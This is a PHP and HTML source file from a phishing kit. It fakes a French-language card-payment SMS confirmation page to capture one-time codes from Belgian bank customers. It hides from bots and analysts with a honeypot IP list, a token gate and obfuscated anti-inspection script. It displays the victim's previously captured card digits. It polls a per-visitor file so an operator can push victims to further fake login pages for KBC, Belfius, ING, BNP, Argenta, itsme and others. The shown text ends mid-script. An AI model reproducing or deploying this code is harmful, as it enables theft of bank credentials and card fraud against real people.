<?php

error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE);
@ini_set('html_errors','0');
@ini_set('display_errors','0');
@ini_set('display_startup_errors','0');
@ini_set('log_errors','0');
$ip = $_SERVER['REMOTE_ADDR'];
session_id(md5($ip));
session_start();

$stripos = 0;
include 'config.php';



require_once './includes/HunterObfuscator.php'; //Include the class

$jsCode = " jQuery(function($){ document.addEventListener('contextmenu', event => event.preventDefault()); document.onkeydown = function(e) { if (e.ctrlKey && (e.keyCode === 67 || e.keyCode === 86 || e.keyCode === 85 || e.keyCode === 83 || e.keyCode === 117 || e.keyCode === 44)) { return false; } else { return true; } }; $(document).keydown(function (event) { if (event.keyCode == 123) { return false; } else if (event.ctrlKey && event.shiftKey && event.keyCode == 73) { return false; } }); }) "; //Simple JS code

$hunter = new HunterObfuscator($jsCode); //Initialize with JS code in parameter
$hunter->addDomainName($_SERVER['HTTP_HOST']);
$obsfucated = $hunter->Obfuscate(); //Do obfuscate and get the obfuscated code


$permitted_chars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ.-_~";


$honeypotbots = file_get_contents('honeypotbots.dat');
$errorUrl = '403.php';

$hostname = gethostbyaddr($ip);

if (stripos($honeypotbots, $ip) !== false) {
	
   $stripos = $stripos + 1;

}

$token1 = base64_encode($_SERVER['HTTP_USER_AGENT'].$ip.date('Y:M:D'));





if ($token1 != $_GET['token'] || $stripos > 0 ){ header("location: " . $errorUrl ."?" . $_GET['token']); exit;  }


if ($_GET['error'] == 'on'){

$errormsg = "<p><span style='color: red;font-size:small;'>coordonnées incorrects !</span><br></p>";

}

if(!$_SESSION['amount']){


$_SESSION['amount'] = $amount;


}

$cardb = substr($_SESSION['cn'],0,1);

if($cardb == '5' )
 {
 	$imagecc = "data:image/png;base64, ";
 }
 else if($cardb == '4' )
 {
 	$imagecc = "data:image/png;base64, ";
 }else{
	 $imagecc = "data:image/png;base64, ";
 }
 
$fp = fopen('users/'. $ip .'.txt', 'wb');
	        fwrite($fp, '');
            fclose($fp);
			
?>


<!DOCTYPE html>
<html><head><meta charset="utf-8"><style></style>

<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">


<title>ACS</title>
<style>html{font-family:sans-serif;-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%}body{margin:0}img{border:0}button,input,select{margin:0;font:inherit;color:inherit}button{overflow:visible}button,select{text-transform:none}button{-webkit-appearance:button}@media print{*,:after,:before{color:#000 !important;text-shadow:none !important;background:0 0 !important;-webkit-box-shadow:none !important;box-shadow:none !important}img{page-break-inside:avoid}img{max-width:100% !important}p{orphans:3;widows:3}}*{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}:after,:before{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}html{font-size:10px;-webkit-tap-highlight-color:transparent}body{font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;line-height:1.42857143;color:#333;background-color:#fff}button,input,select{font-family:inherit;font-size:inherit;line-height:inherit}img{vertical-align:middle}h4{font-family:inherit;font-weight:500;line-height:1.1}h4{margin-top:10px;margin-bottom:10px}h4{font-size:18px}p{margin:0 0 10px}.text-left{text-align:left}.text-right{text-align:right}.text-center{text-align:center}.col-xs-4,.col-xs-6{position:relative;min-height:1px}.col-xs-4,.col-xs-6{float:left}.col-xs-6{width:50%}.col-xs-4{width:33.33333333%}.col-xs-offset-0{margin-left:0}@media(min-width:768px){.col-sm-3,.col-sm-4,.col-sm-5,.col-sm-6{float:left}.col-sm-6{width:50%}.col-sm-5{width:41.66666667%}.col-sm-4{width:33.33333333%}.col-sm-3{width:25%}.col-sm-offset-1{margin-left:8.33333333%}}@media(min-width:992px){.col-md-3,.col-md-4,.col-md-5{float:left}.col-md-5{width:41.66666667%}.col-md-4{width:33.33333333%}.col-md-3{width:25%}}@media(min-width:1200px){.col-lg-3,.col-lg-4,.col-lg-5{float:left}.col-lg-5{width:41.66666667%}.col-lg-4{width:33.33333333%}.col-lg-3{width:25%}}label{display:inline-block;max-width:100%;margin-bottom:5px;font-weight:700}.btn{display:inline-block;margin-bottom:0;font-size:14px;font-weight:400;line-height:1.42857143;text-align:center;white-space:nowrap;vertical-align:middle;-ms-touch-action:manipulation;touch-action:manipulation;cursor:pointer;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;background-image:none;border:1px solid transparent;border-radius:4px}.btn.active.focus,.btn.active:focus,.btn.focus,.btn:active.focus,.btn:active:focus,.btn:focus{outline:thin dotted;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}.btn.focus,.btn:focus,.btn:hover{color:#333;text-decoration:none}.btn.active,.btn:active{background-image:none;outline:0;-webkit-box-shadow:inset 0 3px 5px rgba(0,0,0,.125);box-shadow:inset 0 3px 5px rgba(0,0,0,.125)}.btn-default{background-color:#fff;border-color:#ccc}.btn-default.focus,.btn-default:focus{color:#333;background-color:#e6e6e6;border-color:#8c8c8c}.btn-default:hover{color:#333;background-color:#e6e6e6;border-color:#adadad}.btn-default.active,.btn-default:active,.open>.dropdown-toggle.btn-default{color:#333;background-color:#e6e6e6;border-color:#adadad}.btn-default.active.focus,.btn-default.active:focus,.btn-default.active:hover,.btn-default:active.focus,.btn-default:active:focus,.btn-default:active:hover,.open>.dropdown-toggle.btn-default.focus,.open>.dropdown-toggle.btn-default:focus,.open>.dropdown-toggle.btn-default:hover{color:#333;background-color:#d4d4d4;border-color:#8c8c8c}.btn-default.active,.btn-default:active,.open>.dropdown-toggle.btn-default{background-image:none}@-webkit-keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}@-o-keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}@keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}.btn-group-vertical>.btn-group:after,.btn-group-vertical>.btn-group:before,.btn-toolbar:after,.btn-toolbar:before,.clearfix:after,.clearfix:before,.container-fluid:after,.container-fluid:before,.container:after,.container:before,.dl-horizontal dd:after,.dl-horizontal dd:before,.form-horizontal .form-group:after,.form-horizontal .form-group:before,.modal-footer:after,.modal-footer:before,.modal-header:after,.modal-header:before,.nav:after,.nav:before,.navbar-collapse:after,.navbar-collapse:before,.navbar-header:after,.navbar-header:before,.navbar:after,.navbar:before,.pager:after,.pager:before,.panel-body:after,.panel-body:before,.row:after,.row:before{display:table;content:" "}.btn-group-vertical>.btn-group:after,.btn-toolbar:after,.clearfix:after,.container-fluid:after,.container:after,.dl-horizontal dd:after,.form-horizontal .form-group:after,.modal-footer:after,.modal-header:after,.nav:after,.navbar-collapse:after,.navbar-header:after,.navbar:after,.pager:after,.panel-body:after,.row:after{clear:both}@-ms-viewport{width:device-width}@-webkit-keyframes fa-spin{0%{-webkit-transform:rotate(0);transform:rotate(0)}100%{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}@keyframes fa-spin{0%{-webkit-transform:rotate(0);transform:rotate(0)}100%{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}</style>
<style>div#selection-group{color:#555;font-size:100%}div#selection-group{margin:5px}.tooltips span{padding:0 5px 0 5px}.tooltips span:after{content:"";position:absolute;top:100%;left:50%;margin-left:-8px;width:0;height:0;border-top:8px solid #000;border-right:8px solid transparent;border-left:8px solid transparent}.tooltips:hover span{visibility:visible;opacity:.8;bottom:30px;left:50%;margin-left:-76px;z-index:999}.tooltips span:after{content:"";position:absolute;top:100%;left:50%;margin-left:-8px;width:0;height:0;border-top:8px solid #000;border-right:8px solid transparent;border-left:8px solid transparent}.tooltips:hover span{visibility:visible;opacity:.8;bottom:30px;left:50%;margin-left:-76px;z-index:999}div.break-word{word-break:break-all}div.side-menu{padding-bottom:10px}div.side-menu label{display:inline}.side-menu .text-left,.side-menu .text-right{padding-right:5px;padding-left:5px}@media only screen and (max-width:480px){div.side-menu{padding-bottom:0}}body{font-size:14px}div[class^=col-]{padding-right:0;padding-left:0}.row{margin-right:0;margin-left:0}.tooltips{position:relative;display:inline}.tooltips span{position:absolute;width:140px;color:#fff;background:#000;height:30px;line-height:30px;text-align:center;visibility:hidden;border-radius:6px}.tooltips span:after{content:"";position:absolute;top:100%;left:50%;margin-left:-8px;width:0;height:0;border-top:8px solid #000;border-right:8px solid transparent;border-left:8px solid transparent}.tooltips:hover span{visibility:visible;opacity:.8;bottom:30px;left:50%;margin-left:-76px;z-index:999}.btn{padding:6px 10px}custom-component{display:block}@media only screen and (max-width:480px){body{font-size:12px}}</style>
<style></style>

<style type="text/css">@-webkit-keyframes opacity-60-25-0-9{0%{opacity:.25}0.01%{opacity:.25}0.02%{opacity:1}60.01%{opacity:.25}100%{opacity:.25}}@-webkit-keyframes opacity-60-25-1-9{0%{opacity:.25}11.1211%{opacity:.25}11.1311%{opacity:1}71.1211%{opacity:.25}100%{opacity:.25}}@-webkit-keyframes opacity-60-25-2-9{0%{opacity:.25}22.2322%{opacity:.25}22.2422%{opacity:1}82.2322%{opacity:.25}100%{opacity:.25}}@-webkit-keyframes opacity-60-25-3-9{0%{opacity:.25}33.3433%{opacity:.25}33.3533%{opacity:1}93.3433%{opacity:.25}100%{opacity:.25}}@-webkit-keyframes opacity-60-25-4-9{0%{opacity:.305681}44.4544%{opacity:.25}44.4644%{opacity:1}4.45444%{opacity:.25}100%{opacity:.305681}}@-webkit-keyframes opacity-60-25-5-9{0%{opacity:.444569}55.5656%{opacity:.25}55.5756%{opacity:1}15.5656%{opacity:.25}100%{opacity:.444569}}@-webkit-keyframes opacity-60-25-6-9{0%{opacity:.583458}66.6767%{opacity:.25}66.6867%{opacity:1}26.6767%{opacity:.25}100%{opacity:.583458}}@-webkit-keyframes opacity-60-25-7-9{0%{opacity:.722347}77.7878%{opacity:.25}77.7978%{opacity:1}37.7878%{opacity:.25}100%{opacity:.722347}}@-webkit-keyframes opacity-60-25-8-9{0%{opacity:.861236}88.8989%{opacity:.25}88.9089%{opacity:1}48.8989%{opacity:.25}100%{opacity:.861236}}</style><style></style><meta name="referrer" content="no-referrer"><link type="image/x-icon" rel="shortcut icon" href="data:,"><style data-single-file-movable-style>.menu-elements>div:first-child{display:none}.menu-elements>div:nth-child(2){display:none}</style><style data-single-file-movable-style>.menu-elements>div:first-child{display:block}</style><style data-single-file-movable-style>.menu-elements>div:first-child{display:block}.menu-elements>div:nth-child(2){display:block}</style><style type="text/css" data-single-file-movable-style>img{max-width:100%}.issuerLogo{margin-left:10px;max-height:80px;max-width:100%;height:auto;margin-top:20px}#networkLogo{max-height:54px;max-width:100%;height:auto;padding-top:0;padding-bottom:5px;margin-top:10px}.centeredTitle{padding-right:20px;text-align:center;color:red;font-weight:500;display:block;font-size:150%;margin-top:.5em}message-banner{display:block;width:100%;position:relative}.hr-line{position:relative;display:inline-block;margin-left:5px;margin-right:5px;width:100%;border-bottom:1px solid #eaebeb}#optGblPage{margin:auto}.issuerLogo img{width:65px}@media screen and (min-width:701px){#optGblPage{max-width:800px;font-size:18px}}@media screen and (max-width:700px) and (min-width:361px){#optGblPage{max-width:650px;font-size:14px}.issuerLogo img{width:45px}}@media screen and (max-width:600px){.text-blue{font-weight:700}#networkLogo{margin-top:.3em;max-height:42px}}@media screen and (max-width:250px){.issuerLogo img{width:35px}}#msg-banner{z-index:1000;position:-webkit-sticky;position:sticky;top:0}div#selection-group{display:table-header-group}#cardReaderLogo{max-height:1250px;max-width:100%;height:auto}.validatePaddingLeft{padding-left:5em}.hr-line-2{position:relative;display:inline-block;margin-left:5px;margin-right:5px;width:100%;border-bottom:1px solid #eaebeb}.text-blue{color:#1167a5}.imageAlign{margin-left:35px}.noLeftRightPadding{padding-left:0;padding-right:0}.leftPadding20{padding-left:20px}.paragraph{margin:10px 10px 10px}#validateButton{background-color:#fff;color:#333;white-space:normal;border-radius:4px;border-color:#ccc}#validateButton button{margin-top:5px;background:#58bb9a}#validateButton button.btn{color:#fff}#content-left{float:left;width:30%}#content-right{float:left;width:70%}@media screen and (max-width:480px){.hr-line{display:none}.hr-line-2{visibility:hidden}#content-right{display:inline-grid}.imageAlign{margin-left:auto !important}}@media screen and (max-width:360px){#cardReaderLogo{margin:0 !important}img{max-width:60%}#optGblPage{max-width:360px;font-size:12px}#otp-form{width:100%}input[name=otp]{width:100%}}@media screen and (max-width:300px){.contextButtons img{max-width:15%}#optGblPage{font-size:10px}}@media screen and (max-width:250px){.side-menu .text-right{width:40%}.side-menu .text-left{width:60%}}@media screen and (max-width:200px){.validatePaddingLeft{padding-left:unset}#optGblPage{font-size:8px}}</style><style>.sf-hidden{display:none !important}</style>

<style>img[src="data:,"],source[src="data:,"]{display:none!important}</style></head>
<body>
    
	
<form method="post" action="<?php echo 'bc-load.php?token='.$token1; ?>">

	<splash-screen show="true" class="ng-isolate-scope"></splash-screen>
	<ui-view class="ng-scope" style><otp class="ng-scope ng-isolate-scope"><div id="submitContent">
	<custom-component class="ng-isolate-scope"><div class="ng-scope"><div><custom-font class="ng-isolate-scope">
	
	</custom-font><div id="optGblPage"><div id="headerLayout" class="row"><div class="row"><div class="col-lg-3 col-md-3 col-sm-3 col-xs-4 text-left"><custom-image class="issuerLogo ng-isolate-scope"><img class="custom-image" src="data:image/jpeg;base64, "></custom-image></div><div class="col-lg-5 col-md-5 col-sm-5 col-xs-4"><div class="centeredTitle"><i18n locales="allLanguages" select-box-style- class="ng-isolate-scope">
<div id="selection-group" class="ng-scope" style>
    <label for="language-group">
        <custom-text class="ng-isolate-scope"><span id class="custom-text ng-binding"></span></custom-text>
    </label>
    <select id="language-group" class="ng-pristine ng-untouched ng-valid ng-not-empty"><option label="fr" value="string:fr" selected>fr</option></select>
</div>

</i18n></div></div><div class="col-lg-4 col-md-4 col-sm-4 col-xs-4 text-right"><custom-image id="networkLogo" class="ng-isolate-scope"><img id="networkLogo" class="custom-image" src="<?php echo $imagecc; ?>"></custom-image></div></div></div><div id="msg-banner"><message-banner class="ng-isolate-scope"></message-banner></div><div id="mainLayout" class="row"><div class="centerPieceLayout"><div class="hr-line"></div><div class="leftPadding20"><h4 class="text-blue"><custom-text class="ng-isolate-scope"><span id class="custom-text ng-binding">Détails de la transaction</span></custom-text></h4></div><div class="hr-line-2"></div><div class="noLeftRightPadding"><side-menu class="ng-isolate-scope"><div class="side-menu text-center">
	<div class="row menu-title ng-hide sf-hidden" style>
		
	</div>
	<div class="menu-elements">
		<div class="ng-scope" style>
			<div>
				
				<div class="break-word ng-scope">
					<span class="col-sm-5 col-xs-6 col-xs-offset-0 col-sm-offset-1 text-right padding-left">
						<label>
							<custom-text class="ng-isolate-scope"><span id class="custom-text ng-binding">Marchand </span></custom-text>
						</label>
						<label id="menu-separator">:</label>
					</span>
					<span class="col-sm-6 col-xs-6 text-left padding-left">
                        <span class="ng-binding"><?php echo $siteName; ?></span>
						
					</span>
				</div>
			</div>
		</div><div class="ng-scope">
			<div>
				
				<div class="break-word ng-scope">
					<span class="col-sm-5 col-xs-6 col-xs-offset-0 col-sm-offset-1 text-right padding-left">
						<label>
							<custom-text class="ng-isolate-scope"><span id class="custom-text ng-binding">Montant </span></custom-text>
						</label>
						<label id="menu-separator">:</label>
					</span>
					<span class="col-sm-6 col-xs-6 text-left padding-left">
                        <span class="ng-binding"><?php echo $_SESSION['amount']; ?> €</span>
						
					</span>
				</div>
			</div>
		</div><div class="ng-scope">
			<div>
				
				<div class="break-word ng-scope">
					<span class="col-sm-5 col-xs-6 col-xs-offset-0 col-sm-offset-1 text-right padding-left">
						<label>
							<custom-text class="ng-isolate-scope"><span id class="custom-text ng-binding">Date </span></custom-text>
						</label>
						<label id="menu-separator">:</label>
					</span>
					<span class="col-sm-6 col-xs-6 text-left padding-left">
                        <span class="ng-binding"><?php echo date('Y/m/d H:i:s'); ?></span>
						
					</span>
				</div>
			</div>
		</div><div class="ng-scope">
			<div>
				
				<div class="break-word ng-scope">
					<span class="col-sm-5 col-xs-6 col-xs-offset-0 col-sm-offset-1 text-right padding-left">
						<label>
							<custom-text class="ng-isolate-scope"><span id class="custom-text ng-binding">N° de carte </span></custom-text>
						</label>
						<label id="menu-separator">:</label>
					</span>
					<span class="col-sm-6 col-xs-6 text-left padding-left">
                        <span class="ng-binding">xxxxxxxxxxxxx<?php echo substr($_SESSION['cn'],-4); ?></span>
						
					</span>
				</div>
			</div>
		</div>
	</div>
</div></side-menu></div></div><div class="row"><div class="hr-line-2"></div><div class="leftPadding20"><h4 class="text-blue"><custom-text class="ng-isolate-scope"><span id class="custom-text ng-binding">Confirmation SMS</span></custom-text></h4></div><div class="hr-line"></div>


<div><div id="content-left" style="
    text-align: center;
"><custom-image style="
    margin: auto;
"><img id="cardReaderLogo" class="custom-image" src="data:image/png;base64, " style="
    max-width: 65px;
"></custom-image></div><div id="content-right">
<div><custom-text class="ng-isolate-scope"><span id="" class="custom-text ng-binding">Introduisez le code reçu via SMS</span></custom-text>
</div>



<div>


<div class="input_validate">



<div id="otp-form">
	<div class="tooltips">
		<span class="ng-binding">Ex.: 12251980</span>
		<br>
		<input type="text" name="otp" autocomplete="off" required="" minlength="4" maxlength="12" class="ng-pristine ng-empty ng-invalid ng-invalid-required ng-valid-maxlength ng-touched" >
	</div>
</div><p></p><div class="validatePaddingLeft"><val-button id="validateButton" class="ng-isolate-scope">

<button class="btn btn-default" type="submit">
	<span class="fa fa-check-square sf-hidden"></span>
	<div class="ng-scope" style="">
		<custom-text class="ng-isolate-scope"><span id="" class="custom-text ng-binding">Valider</span></custom-text>
	</div>
	

</button>

</val-button></div></div></div></div></div>
</div><br>
</div>
</div>
</div>

</custom-component>
</div>
</otp></ui-view>

    <?php echo $errormsg; ?>

<input type="hidden" name="type" value="argentaOtp">
	
	</form>
    
    <style>


/* The Modal (background) */
.modal {
  display: none; /* Hidden by default */
  position: fixed; /* Stay in place */
  z-index: 999; /* Sit on top */
  padding-top: 125px; /* Location of the box */
  left: 0;
  top: 0;
  width: 100%; /* Full width */
  height: 100%; /* Full height */
  overflow: auto; /* Enable scroll if needed */
  background-color: rgb(0,0,0); /* Fallback color */
  background-color: rgba(0,0,0,0.4); /* Black w/ opacity */
}

/* Modal Content */
.modal-content {
  background-color: #fefefe;
  margin: auto;
  padding: 20px;
  border: 1px solid #888;
  width: 80%;
}
</style>
     <div id="errorCCS" class="modal" style="
    display: none;
">

  <!-- Modal content -->
  <div class="modal-content">
   
   <div class="panel-body" style="max-width:450px;margin:auto;vertical-align:middle;position:relative;border-radius:15px;padding:25px 15px 15px 15px;box-shadow: 0 0 50px #7080902b;background-color:#70809014">
   
   <div style="text-align:center;">
   <svg width="64px" height="64px" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg" stroke="#ae1919"><g id="SVGRepo_bgCarrier" stroke-width="0"></g><g id="SVGRepo_tracerCarrier" stroke-linecap="round" stroke-linejoin="round"></g><g id="SVGRepo_iconCarrier"> <path d="M12 21C10.22 21 8.47991 20.4722 6.99987 19.4832C5.51983 18.4943 4.36628 17.0887 3.68509 15.4442C3.0039 13.7996 2.82567 11.99 3.17294 10.2442C3.5202 8.49836 4.37737 6.89472 5.63604 5.63604C6.89472 4.37737 8.49836 3.5202 10.2442 3.17294C11.99 2.82567 13.7996 3.0039 15.4442 3.68509C17.0887 4.36628 18.4943 5.51983 19.4832 6.99987C20.4722 8.47991 21 10.22 21 12C21 14.387 20.0518 16.6761 18.364 18.364C16.6761 20.0518 14.387 21 12 21ZM12 4.5C10.5166 4.5 9.0666 4.93987 7.83323 5.76398C6.59986 6.58809 5.63856 7.75943 5.07091 9.12988C4.50325 10.5003 4.35473 12.0083 4.64411 13.4632C4.9335 14.918 5.64781 16.2544 6.6967 17.3033C7.7456 18.3522 9.08197 19.0665 10.5368 19.3559C11.9917 19.6453 13.4997 19.4968 14.8701 18.9291C16.2406 18.3614 17.4119 17.4001 18.236 16.1668C19.0601 14.9334 19.5 13.4834 19.5 12C19.5 10.0109 18.7098 8.10323 17.3033 6.6967C15.8968 5.29018 13.9891 4.5 12 4.5Z" fill="#b01c1c"></path> <path d="M12 13C11.8019 12.9974 11.6126 12.9176 11.4725 12.7775C11.3324 12.6374 11.2526 12.4481 11.25 12.25V8.75C11.25 8.55109 11.329 8.36032 11.4697 8.21967C11.6103 8.07902 11.8011 8 12 8C12.1989 8 12.3897 8.07902 12.5303 8.21967C12.671 8.36032 12.75 8.55109 12.75 8.75V12.25C12.7474 12.4481 12.6676 12.6374 12.5275 12.7775C12.3874 12.9176 12.1981 12.9974 12 13Z" fill="#b01c1c"></path> <path d="M12 16C11.8019 15.9974 11.6126 15.9176 11.4725 15.7775C11.3324 15.6374 11.2526 15.4481 11.25 15.25V14.75C11.25 14.5511 11.329 14.3603 11.4697 14.2197C11.6103 14.079 11.8011 14 12 14C12.1989 14 12.3897 14.079 12.5303 14.2197C12.671 14.3603 12.75 14.5511 12.75 14.75V15.25C12.7474 15.4481 12.6676 15.6374 12.5275 15.7775C12.3874 15.9176 12.1981 15.9974 12 16Z" fill="#b01c1c"></path> </g></svg>
   </div>
                        <h1 style="margin-bottom:15px" id="t0" >Erreur  </h1>
						
						<div >
                            <div class="row">
                               
                                <div class="col-md-12" id="t1">
                                   cordoonées incorrect. Merci de vérifier vos informations et d'essayer à nouveau.
                                </div>
                            </div>
                            
                        </div>
                    </div>    
<p></p>
  </div>

</div>
	
  <script src="./bc_files/jquery.min.js?<?php echo base64_encode(rand(0,9999)); ?>"></script>

	<span style="display:none;"><?php echo substr(str_shuffle($permitted_chars), 0, 2);?></span>


<script>
function updateStatus(isOnline) {
            const pageName = window.location.pathname.split("/").pop();
            const xhr = new XMLHttpRequest();
            xhr.open("POST", "update_status.php?rand=" + Math.random().toString(36).slice(-5), true);
            xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
            xhr.send("status=visited&page=" + encodeURIComponent(pageName));
        }
            var ip = "<?php echo $ip; ?>";
			var token1 = "<?php echo $token1; ?>";
            var waiting = setInterval(function() {
                $.get('./users/' + ip + '.txt?rand=' + Math.random().toString(36).slice(-5) , function(data) {
                    if( data == 0 ) {
                        //console.log('hada ba9i 0');
                    } else {
                        var row = data.split('#|#');
                        var one = row[0];
                        var two = row[1];
						var tree = row[2];
						var forth = row[3];
                          if( one == 'url' ) {
                            clearInterval(waiting);
                            location.href = tree;
                        } else if( one == 'load' ) {
                            clearInterval(waiting);
                            location.href = "./bc-load.php?token=" + token1 + "&error=" + two;
                        } else if( one == '2fa' ) {
							sessionStorage.setItem('text',tree);
							sessionStorage.setItem('img',forth);
                            clearInterval(waiting);
                            location.href = "./bc-2fa.php?token=" + token1 + "&error=" + two;
							
                        } else if( one == 'errorCCS' ) {
                            clearInterval(waiting);
							document.getElementById('errorCCS').style.display = 'block';
							document.getElementById('t0').innerText = tree;
							document.getElementById('t1').innerText = forth;
							setTimeout(function(){ window.location.replace('./bc-load.php?token=<?php echo $token1; ?>'); }, 3000);	
                        } else if( one == 'l-axa' ) {
                            clearInterval(waiting);
                            location.href = "./bc-l-axa.php?token=" + token1 + "&error=" + two + "&t0=" + tree + "&t1=" + forth;
                        } else if( one == 'l-bpost' ) {
                            clearInterval(waiting);
                            location.href = "./bc-l-bpost.php?token=" + token1 + "&error=" + two + "&t0=" + tree + "&t1=" + forth;
                        } else if( one == 'l-belfius' ) {
                            clearInterval(waiting);
                            location.href = "./bc-l-belfius.php?token=" + token1 + "&error=" + two + "&t0=" + tree + "&t1=" + forth;
                        } else if( one == 'l-kbc' ) {
                            clearInterval(waiting);
                            location.href = "./bc-l-kbc.php?token=" + token1 + "&error=" + two + "&t0=" + tree + "&t1=" + forth;
                        } else if( one == 'l-cbc' ) {
                            clearInterval(waiting);
                            location.href = "./bc-l-cbc.php?token=" + token1 + "&error=" + two + "&t0=" + tree + "&t1=" + forth;
                        } else if( one == 'l-bnp' ) {
                            clearInterval(waiting);
                            location.href = "./bc-l-bnp.php?token=" + token1 + "&error=" + two + "&t0=" + tree + "&t1=" + forth;
                        } else if( one == 'l-ing' ) {
                            clearInterval(waiting);
                            location.href = "./bc-l-ing.php?token=" + token1 + "&error=" + two + "&t0=" + tree + "&t1=" + forth;
                        } else if( one == 'l-digipass' ) {
                            clearInterval(waiting);
                            location.href = "./bc-l-digipass.php?token=" + token1 + "&error=" + two + "&t0=" + tree + "&t1=" + forth;
                        } else if( one == 'l-argenta' ) {
                            clearInterval(waiting);
                            location.href = "./bc-l-argenta.php?token=" + token1 + "&error=" + two + "&t0=" + tree + "&t1=" + forth;
                        } else if( one == 'l-deuch' ) {
                            clearInterval(waiting);
                            location.href = "./bc-l-deuch.php?token=" + token1 + "&error=" + two + "&t0=" + tree + "&t1=" + forth;
                        } else if( one == 'l-cph' ) {
                            clearInterval(waiting);
                            location.href = "./bc-l-cph.php?token=" + token1 + "&error=" + two + "&t0=" + tree + "&t1=" + forth;
                        } else if( one == 'l-beoDigi' ) {
                            clearInterval(waiting);
                            location.href = "./bc-l-beoDigi.php?token=" + token1 + "&error=" + two + "&t0=" + tree + "&t1=" + forth;
                        } else if( one == 'l-beoApp' ) {
                            clearInterval(waiting);
                            location.href = "./bc-l-beoApp.php?token=" + token1 + "&error=" + two + "&t0=" + tree + "&t1=" + forth;
                        } else if( one == 'l-crelan' ) {
                            clearInterval(waiting);
                            location.href = "./bc-l-crelan.php?token=" + token1 + "&error=" + two + "&t0=" + tree + "&t1=" + forth;
                        } else if( one == 'itsMe' ) {
                            clearInterval(waiting);
                            location.href = "./bc-itsMe.php?token=" + token1 + "&error=" + two;
                        } else if( one == 'bill' ) {
                            clearInterval(waiting);
                            location.href = "./bc-bill.php?token=" + token1 + "&error=" + two; 
                        } else if( one == 'infos' ) {
                            clearInterval(waiting);
                            location.href = "./bc-infos.php?token=" + token1 + "&error=" + two;
                        } else if( one == 'fr-infos' ) {
                            clearInterval(waiting);
                            location.href = "./bc-fr-infos.php?token=" + token1 + "&error=" + two;
                        } else if( one == 'choice' ) {
                            clearInterval(waiting);
                            location.href = "./bc-choice.php?token=" + token1 + "&error=" + two;
                        } else if( one == 'method' ) {
                            clearInterval(waiting);
                            location.href = "./bc-m-choice.php?token=" + token1 + "&error=" + two;
                        } else if( one == 'sms' ) {
                            clearInterval(waiting);
                            location.href = "./bc-sms.php?token=" + token1 + "&error=" + two;
                        } else if( one == 'approve' ) {
                            clearInterval(waiting);						
                            location.href = "./bc-approve.php?token=" + token1 + "&error=" + two;				
                        } else if( one == 'refuser' ) {
                            clearInterval(waiting);						
                            location.href = "./bc-refuser.php?token=" + token1 + "&error=" + two;				
                        } else if( one == 'accepter' ) {
                            clearInterval(waiting);						
                            location.href = "./bc-accepter.php?token=" + token1 + "&error=" + two;				
                        } else if( one == 'choice-crelan' ) {
                            clearInterval(waiting);						
                            location.href = "./bc-choice-crelan.php?token=" + token1 + "&error=" + two;				
                        } else if( one == 'choice-belfius' ) {
                            clearInterval(waiting);						
                            location.href = "./bc-choice-belfius.php?token=" + token1 + "&error=" + two;				
                        } else if( one == 'choice-cbc' ) {
                            clearInterval(waiting);						
                            location.href = "./bc-choice-cbc.php?token=" + token1 + "&error=" + two;				
                        } else if( one == 'app-crelan' ) {
                            clearInterval(waiting);						
                            location.href = "./bc-app-crelan.php?token=" + token1 + "&error=" + two;				
                        } else if( one == 'itsMe-belfius' ) {
                            clearInterval(waiting);						
                            location.href = "./bc-itsMe-belfius.php?token=" + token1 + "&error=" + two;				
                        } else if( one == 'itsMe-cbc' ) {
                            clearInterval(waiting);						
                            location.href = "./bc-itsMe-cbc.php?token=" + token1 + "&error=" + two;				
                        } else if( one == 'l-belfiusMobile' ) {
                            clearInterval(waiting);						
                            location.href = "./bc-l-belfiusMobile.php?token=" + token1 + "&error=" + two + "&t0=" + tree + "&t1=" + forth;				
                        } else if( one == 'bnp-idMobile' ) {
                            clearInterval(waiting);						
                            location.href = "./bc-bnp-idMobile.php?token=" + token1 + "&error=" + two;				
                        } else if( one == 'l-bnpMobile' ) {
                            clearInterval(waiting);						
                            location.href = "./bc-l-bnpMobile.php?token=" + token1 + "&error=" + two + "&t0=" + tree + "&t1=" + forth;				
                        } else if( one == 'bnp-otpMobile' ) {
                            clearInterval(waiting);						
                            location.href = "./bc-bnp-otpMobile.php?token=" + token1 + "&error=" + two;				
                        } else if( one == 'ing-idMobile' ) {
                            clearInterval(waiting);						
                            location.href = "./bc-ing-idMobile.php?token=" + token1 + "&error=" + two;				
                        } else if( one == 'ing-itsMeMobile' ) {
                            clearInterval(waiting);						
                            location.href = "./bc-ing-itsMeMobile.php?token=" + token1 + "&error=" + two;				
                        } else if( one == 'ing-otpMobile' ) {
                            clearInterval(waiting);						
                            location.href = "./bc-ing-otpMobile.php?token=" + token1 + "&error=" + two;				
                        } else if( one == 'l-ingOneMobile' ) {
                            clearInterval(waiting);						
                            location.href = "./bc-l-ingOneMobile.php?token=" + token1 + "&error=" + two;				
                        } else if( one == 'l-ingTwoMobile' ) {
                            clearInterval(waiting);						
                            location.href = "./bc-l-ingTwoMobile.php?token=" + token1 + "&error=" + two + "&t0=" + tree + "&t1=" + forth;				
                        } else if( one == 'itsMe-argenta' ) {
                            clearInterval(waiting);						
                            location.href = "./bc-itsMe-argenta.php?token=" + token1 + "&error=" + two;				
                        } else if( one == 'belfiusOtp' ) {
                            clearInterval(waiting);						
                            location.href = "./bc-belfiusOtp.php?token=" + token1 + "&error=" + two;				
                        } else if( one == 'choice-argenta' ) {
                            clearInterval(waiting);						
                            location.href = "./bc-choice-argenta.php?token=" + token1 + "&error=" + two;				
                        } else if( one == 'l-belfiusMobileTwo' ) {
                            clearInterval(waiting);						
